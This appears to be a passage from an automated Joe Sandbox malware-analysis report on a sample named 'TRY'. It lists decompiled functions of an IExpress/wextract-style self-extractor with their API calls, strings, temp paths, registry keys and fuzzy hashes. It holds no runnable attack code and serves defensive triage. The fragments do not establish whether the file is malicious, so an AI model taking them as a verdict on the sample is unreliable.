SetCurrentDirectoryA.KERNEL32 ref: 000000013FB668DA

Part of subcall function 000000013FB64A70: LoadStringA.USER32 ref: 000000013FB64B04
Part of subcall function 000000013FB64A70: MessageBoxA.USER32 ref: 000000013FB64B3E

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB665C6

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: CurrentDirectoryErrorLast$Message$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 948580687-552775693
Opcode ID: 1d10b06ffb60c2f9a4994c8529384c1a3f72a6229e0869c97220415a699bab90
Instruction ID: edc6d730c96096715be3504c7a5be0511f4cc8171ae2d9d68ddc2c18e580fbfa
Opcode Fuzzy Hash: 1d10b06ffb60c2f9a4994c8529384c1a3f72a6229e0869c97220415a699bab90
Instruction Fuzzy Hash: 9191B2B6A1474086E720DF21E4547EAF7A5F788768F50013EDA8A47BA8DF3DC646CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB65940 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 112
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64CE8
Part of subcall function 000000013FB64CC0: SizeofResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64CF3
Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64D13
Part of subcall function 000000013FB64CC0: LoadResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D1E
Part of subcall function 000000013FB64CC0: LockResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D27
Part of subcall function 000000013FB64CC0: memcpy_s.MSVCRT ref: 000000013FB64D40
Part of subcall function 000000013FB64CC0: FreeResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D49

FindResourceA.KERNEL32 ref: 000000013FB65970
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,000000013FB63029), ref: 000000013FB6597B
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,000000013FB63029), ref: 000000013FB65984
GetDlgItem.USER32 ref: 000000013FB659AB
ShowWindow.USER32 ref: 000000013FB659B6
GetDlgItem.USER32 ref: 000000013FB659C8
ShowWindow.USER32 ref: 000000013FB659D6
#20.CABINET ref: 000000013FB65A43
#22.CABINET ref: 000000013FB65A83
#23.CABINET ref: 000000013FB65A92
FreeResource.KERNEL32 ref: 000000013FB65AD5
SendMessageA.USER32 ref: 000000013FB65B31

Strings

CABINET, xrefs: 000000013FB6594D, 000000013FB65967
*MEMCAB, xrefs: 000000013FB65A74

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 0c6c46a489d0fda5dc98469ed81d9ee631a82016382c4a4d309c554a0bb4008b
Instruction ID: e07c374c19bdd3fb0e4384c397836b3d16de743a24b7971b5039f9d9e1cba660
Opcode Fuzzy Hash: 0c6c46a489d0fda5dc98469ed81d9ee631a82016382c4a4d309c554a0bb4008b
Instruction Fuzzy Hash: 905126B5A11B4186FB609F51E8947E6E3A1BB887A9F80413ED94902AACDF3CC257C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB62E28 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 149
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 000000013FB62EA3
LoadLibraryA.KERNEL32 ref: 000000013FB62EC1
GetProcAddress.KERNEL32 ref: 000000013FB62ED9
DecryptFileA.ADVAPI32 ref: 000000013FB62EED
FreeLibrary.KERNEL32 ref: 000000013FB62EF6
GetWindowsDirectoryA.KERNEL32 ref: 000000013FB62F21
GetLastError.KERNEL32 ref: 000000013FB62F49
SetCurrentDirectoryA.KERNELBASE ref: 000000013FB62FA6

Part of subcall function 000000013FB65C0C: LocalAlloc.KERNEL32(?,?,?,?,00000000,000000013FB62E5F), ref: 000000013FB65C31
Part of subcall function 000000013FB65C0C: GetLastError.KERNEL32 ref: 000000013FB65C5D

Strings

DecryptFileA, xrefs: 000000013FB62ECF
advapi32.dll, xrefs: 000000013FB62EA9
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB62EE6, 000000013FB62F9F

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Directory$ErrorLastLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystemWindows
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 89276366-2184067320
Opcode ID: 7298bcec91a35e74cce7102c22ba9d824c4011d00aaa7125e6909d84ce458b88
Instruction ID: 5f766564e1806c435d21420cc33a46ed279bb23d25bcd893bddac1dcd85e5065
Opcode Fuzzy Hash: 7298bcec91a35e74cce7102c22ba9d824c4011d00aaa7125e6909d84ce458b88
Instruction Fuzzy Hash: 84614AF1F0064186FF609B21E9503E5E3A4EB947B4F54403EE989826ADDB6CCB47C750

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB65E4C Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,0000000A,000000013FB62A5F), ref: 000000013FB65EE4
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,000000013FB62A5F), ref: 000000013FB65F91
RemoveDirectoryA.KERNEL32(?,?,?,?,?,?,0000000A,000000013FB62A5F), ref: 000000013FB65FCB

Part of subcall function 000000013FB65D44: RemoveDirectoryA.KERNELBASE(0000000A,000000013FB62A5F), ref: 000000013FB65DAF
Part of subcall function 000000013FB65D44: GetFileAttributesA.KERNELBASE ref: 000000013FB65DB8
Part of subcall function 000000013FB65D44: GetTempFileNameA.KERNEL32 ref: 000000013FB65DDB
Part of subcall function 000000013FB65D44: DeleteFileA.KERNEL32 ref: 000000013FB65DED
Part of subcall function 000000013FB65D44: CreateDirectoryA.KERNEL32 ref: 000000013FB65DF8

GetLastError.KERNEL32(?,?,?,?,?,?,0000000A,000000013FB62A5F), ref: 000000013FB65FD3

Strings

ppc, xrefs: 000000013FB65F02
i386, xrefs: 000000013FB65F1D
alpha, xrefs: 000000013FB65F0B
mips, xrefs: 000000013FB65F14
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB65E90, 000000013FB65F41

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteErrorInfoLastNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 3170954203-3938192293
Opcode ID: d116721c738d00c164cd3631cc6f2c60d9e10c0bd18d4cd6bae3e49295d042fb
Instruction ID: 48f9f66e994672114261fd681da69c27328384eef84a36ec3a0e47fb19ecf8fc
Opcode Fuzzy Hash: d116721c738d00c164cd3631cc6f2c60d9e10c0bd18d4cd6bae3e49295d042fb
Instruction Fuzzy Hash: AD516CF2F1478482FB648F25E9143E9E3A4A7847A0F98413ED94A4669DDF79CB16C310

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB64478 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32 ref: 000000013FB644EC
WaitForSingleObject.KERNEL32 ref: 000000013FB64502
GetExitCodeProcess.KERNELBASE ref: 000000013FB64512
CloseHandle.KERNEL32 ref: 000000013FB645AD
CloseHandle.KERNEL32 ref: 000000013FB645B8
GetLastError.KERNEL32 ref: 000000013FB645D3
GetLastError.KERNEL32 ref: 000000013FB645ED
FormatMessageA.KERNEL32 ref: 000000013FB64618

Strings

, xrefs: 000000013FB644DF

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$CodeCreateExitFormatMessageObjectSingleWait
String ID:
API String ID: 3794558871-3916222277
Opcode ID: 9f5f1d435d494857f467c4df7531989be3996456b61f4ede157ba57c6f223fef
Instruction ID: 3bca8fecd6f107c06b9ec51a7ba8c6e2b1fbdb6e4f416d508036b932917bf108
Opcode Fuzzy Hash: 9f5f1d435d494857f467c4df7531989be3996456b61f4ede157ba57c6f223fef
Instruction Fuzzy Hash: 665145B2A14B40C6F7609F14E8557DAF7A0F7887B8F10013DEA49466ACDB7CC646CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB629E4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 79
libraryloadershutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 000000013FB629F9
GetModuleHandleW.KERNEL32 ref: 000000013FB62A10
GetProcAddress.KERNEL32 ref: 000000013FB62A25
ExitWindowsEx.USER32 ref: 000000013FB62AE6
CloseHandle.KERNEL32 ref: 000000013FB62AFF

Strings

Kernel32.dll, xrefs: 000000013FB62A09
@, xrefs: 000000013FB62ABF
HeapSetInformation, xrefs: 000000013FB62A1B

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Handle$AddressCloseExitModuleProcVersionWindows
String ID: @$HeapSetInformation$Kernel32.dll
API String ID: 1302179841-1204263913
Opcode ID: ce021ab3524c38f82bffb0e3de339560c67142cd7d7947d6df8012e561f83b94
Instruction ID: 33e55b047f477e8251fe6bd694c395f0ae2f6bcbf74f33c7763e8d7b5a627745
Opcode Fuzzy Hash: ce021ab3524c38f82bffb0e3de339560c67142cd7d7947d6df8012e561f83b94
Instruction Fuzzy Hash: 053120F1E0024185FF749B60E8457EAE2A0FB58BB4F58403DDA89566ADDBBCC747C601

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB61F00 Relevance: 12.1, APIs: 8, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE ref: 000000013FB61F99
lstrcmpA.KERNEL32 ref: 000000013FB61FF2
lstrcmpA.KERNEL32 ref: 000000013FB62008
SetFileAttributesA.KERNEL32 ref: 000000013FB6205B
DeleteFileA.KERNEL32 ref: 000000013FB62065
FindNextFileA.KERNELBASE ref: 000000013FB62073
FindClose.KERNELBASE ref: 000000013FB62084
RemoveDirectoryA.KERNELBASE ref: 000000013FB6208D

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: a76de7a235391c51c9a3471388bf9658f3eb67c567768510dcd7feabb49bd64a
Instruction ID: 4ccd1661f24bafc2282c151dd31eac9e03549dbb4e5aea19243bd602fdac1186
Opcode Fuzzy Hash: a76de7a235391c51c9a3471388bf9658f3eb67c567768510dcd7feabb49bd64a
Instruction Fuzzy Hash: AA418BB2A15B8495EF11DF20D8543E9B3A1F744BA8F84413AEA9D476DDDF38CA0AC300

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB67F40 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 000000013FB67F4B

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3c128b76d22e0f08333aca8b13059fe7dc42df365bac19dcaa2f659e341ad33d
Instruction ID: 0269bdb5d15025fe681532adb80d94e3c3678dcc1b5cc2d440ef217e7d724d7b
Opcode Fuzzy Hash: 3c128b76d22e0f08333aca8b13059fe7dc42df365bac19dcaa2f659e341ad33d
Instruction Fuzzy Hash: B3B09260E21440C2D604AB21DCA538493A0775C324FD00424800980228DA5C829BC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB630C4 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 89
registryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE ref: 000000013FB63109
DeleteFileA.KERNELBASE ref: 000000013FB63112
LocalFree.KERNEL32 ref: 000000013FB6311F
LocalFree.KERNEL32 ref: 000000013FB63128
SetCurrentDirectoryA.KERNELBASE ref: 000000013FB631B7
RegOpenKeyExA.KERNEL32 ref: 000000013FB63204
RegDeleteValueA.KERNEL32 ref: 000000013FB6321A
RegCloseKey.ADVAPI32 ref: 000000013FB63225

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 000000013FB631F6
wextract_cleanup0, xrefs: 000000013FB63213
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB63158

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-509129362
Opcode ID: 139c24f63efaaecf273668afafadc40c041a4949118b42efaaf16138047ed078
Instruction ID: a9384d7c14813694cbddf8fbb25901fe8dad258c1840967c5e8f3cda30cf7f2d
Opcode Fuzzy Hash: 139c24f63efaaecf273668afafadc40c041a4949118b42efaaf16138047ed078
Instruction Fuzzy Hash: EF4149F1B14A8492FF50AB25E8543E9F3A0F784BA5F48403ADA49477ACDB3CC64AC750

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB62174 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 70
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32 ref: 000000013FB621C5
RegQueryValueExA.KERNEL32 ref: 000000013FB621EE
RegCloseKey.KERNEL32 ref: 000000013FB62203
RegOpenKeyExA.ADVAPI32 ref: 000000013FB62231
RegQueryInfoKeyA.ADVAPI32 ref: 000000013FB62273

Strings

System\CurrentControlSet\Control\Session Manager, xrefs: 000000013FB621B7
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 000000013FB62223
PendingFileRenameOperations, xrefs: 000000013FB621DC

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: f9c9f28ba430a97cac6df1d6b2180f89cf8a91fb3d1549dce7b445f5981c95c9
Instruction ID: c9a5e33ef7bd070bb070fb2498af93227a6d5e540b1c8c09c23cd9adf202b58a
Opcode Fuzzy Hash: f9c9f28ba430a97cac6df1d6b2180f89cf8a91fb3d1549dce7b445f5981c95c9
Instruction Fuzzy Hash: 603161B2A04B40C7EB609F65F8907D9F3A4F7487A8F540539E69943B5CDB38C265C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB65D44 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013FB61144: _vsnprintf.MSVCRT ref: 000000013FB61181

RemoveDirectoryA.KERNELBASE(0000000A,000000013FB62A5F), ref: 000000013FB65DAF
GetFileAttributesA.KERNELBASE ref: 000000013FB65DB8
GetTempFileNameA.KERNEL32 ref: 000000013FB65DDB
DeleteFileA.KERNEL32 ref: 000000013FB65DED
CreateDirectoryA.KERNEL32 ref: 000000013FB65DF8
CreateDirectoryA.KERNELBASE ref: 000000013FB65E28

Strings

IXP, xrefs: 000000013FB65DCE
IXP%03d.TMP, xrefs: 000000013FB65D72

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: IXP$IXP%03d.TMP
API String ID: 1082909758-3932986939
Opcode ID: 937e6bdce64174802cee2c0ad824f938e86808294fa9af023a4be056ef510fcc
Instruction ID: bd5e91827bcee962e986b44fd1e82e07ca4003f3e2e646e328668101ce7ad90b
Opcode Fuzzy Hash: 937e6bdce64174802cee2c0ad824f938e86808294fa9af023a4be056ef510fcc
Instruction Fuzzy Hash: 802154B1B0494042FB14AB16E9943E9E251F789BE4F4441399D4D47AEDDF3CC65BC600

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB65C0C Relevance: 13.6, APIs: 6, Strings: 3, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64CE8
Part of subcall function 000000013FB64CC0: SizeofResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64CF3
Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64D13
Part of subcall function 000000013FB64CC0: LoadResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D1E
Part of subcall function 000000013FB64CC0: LockResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D27
Part of subcall function 000000013FB64CC0: memcpy_s.MSVCRT ref: 000000013FB64D40
Part of subcall function 000000013FB64CC0: FreeResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D49

LocalAlloc.KERNEL32(?,?,?,?,00000000,000000013FB62E5F), ref: 000000013FB65C31
GetLastError.KERNEL32 ref: 000000013FB65C5D
LocalFree.KERNEL32 ref: 000000013FB65CB3

Part of subcall function 000000013FB64A70: LoadStringA.USER32 ref: 000000013FB64B04
Part of subcall function 000000013FB64A70: MessageBoxA.USER32 ref: 000000013FB64B3E

Strings

UPROMPT, xrefs: 000000013FB65C19, 000000013FB65C7F
, xrefs: 000000013FB65CF7
<None>, xrefs: 000000013FB65CC5

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: 4cd7dd6834e85b2f75631053cfae32537cc947d9a4b936279775a0e79ed0ed39
Instruction ID: 3b8fb6b3f569f3835f96b9333eb57e8847b9005c88af3509748a6bfb270e5cc0
Opcode Fuzzy Hash: 4cd7dd6834e85b2f75631053cfae32537cc947d9a4b936279775a0e79ed0ed39
Instruction Fuzzy Hash: 6231CEF2B0470187F7649B21E555BEAF290F7887A8F10403D9A4646EDCDB7DC6028B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB6648C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 71
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32 ref: 000000013FB664BC
GetLastError.KERNEL32 ref: 000000013FB664E8
CreateFileA.KERNELBASE ref: 000000013FB6655D
LocalFree.KERNEL32 ref: 000000013FB66569
CloseHandle.KERNEL32 ref: 000000013FB6657C
GetFileAttributesA.KERNELBASE ref: 000000013FB66585

Strings

TMP4351$.TMP, xrefs: 000000013FB66527

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateErrorFreeHandleLast
String ID: TMP4351$.TMP
API String ID: 3233701622-2619824408
Opcode ID: 7db59a4d921e02c4a9f778be00be8e5aed3f3ce684278f5c3ab38008e99838a4
Instruction ID: de09c30d6f87f87d699be696f3ea479567858df605fb946a4ac63df2fe2df246
Opcode Fuzzy Hash: 7db59a4d921e02c4a9f778be00be8e5aed3f3ce684278f5c3ab38008e99838a4
Instruction Fuzzy Hash: BE2180B1A0474087FB249B25E8543AAF291A784BB8F54433CDA6A47BDDCF3CC6478700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB679B0 Relevance: 12.1, APIs: 8, Instructions: 137sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 000000013FB68114: GetSystemTimeAsFileTime.KERNEL32 ref: 000000013FB68144
Part of subcall function 000000013FB68114: GetCurrentProcessId.KERNEL32 ref: 000000013FB68152
Part of subcall function 000000013FB68114: GetCurrentThreadId.KERNEL32 ref: 000000013FB6815E
Part of subcall function 000000013FB68114: GetTickCount.KERNEL32 ref: 000000013FB6816A
Part of subcall function 000000013FB68114: GetTickCount.KERNEL32 ref: 000000013FB6817A
Part of subcall function 000000013FB68114: QueryPerformanceCounter.KERNEL32 ref: 000000013FB68195

GetStartupInfoW.KERNEL32 ref: 000000013FB679E5
_amsg_exit.MSVCRT ref: 000000013FB67A20
Sleep.KERNEL32 ref: 000000013FB67A2C
_initterm.MSVCRT ref: 000000013FB67ABA
_IsNonwritableInCurrentImage.LIBCMT ref: 000000013FB67AE7
exit.MSVCRT ref: 000000013FB67B78
_cexit.MSVCRT ref: 000000013FB67B87
_ismbblead.MSVCRT ref: 000000013FB67BAA

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: 40f232f804d3de6f42de40c3d46f48b6aa97a76c85812b48c9ef079cce016815
